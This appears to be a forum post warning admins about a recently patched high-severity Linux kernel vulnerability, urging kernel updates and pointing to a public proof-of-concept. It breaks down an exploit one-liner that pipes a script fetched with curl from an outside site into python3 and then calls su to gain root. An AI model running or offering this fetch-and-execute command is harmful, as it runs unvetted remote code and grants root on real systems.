There is a new high severity linux vulnerabilty that was silently patched with a664bf3 last month.
For those of you that don’t update your systems often or haven’t in the past month you will likely want to update your kernel to ensure that you’ve successfully remediated. For those of you that are system admins with minimal patch windows you will want to prioritize this remediation.
POCs are now available for those of you that want to test if you are vulnerable. https://copy.fail/#affected
I tested on a vulnerable system and exploitation was just that easy.
You should not run this on your system, also it should not harm and it should get reset with reboot.
curl https://copy.fail/exp: This downloads a script from a remote server. You have no way of knowing what is in that script without inspecting it first.
| python3: This takes the downloaded script and immediately executes it using the Python interpreter. This means the code runs with your current user permissions the moment it is downloaded.
&& su: If the previous script succeeds, it attempts to switch to the superuser (root) account. In the context of an exploit (like the CVE mentioned in the page title), the script likely attempts to steal your password or use a vulnerability to grant the attacker root access.
The website is mentioning the command:
I had run that on virtual machines, so you do not have too; )
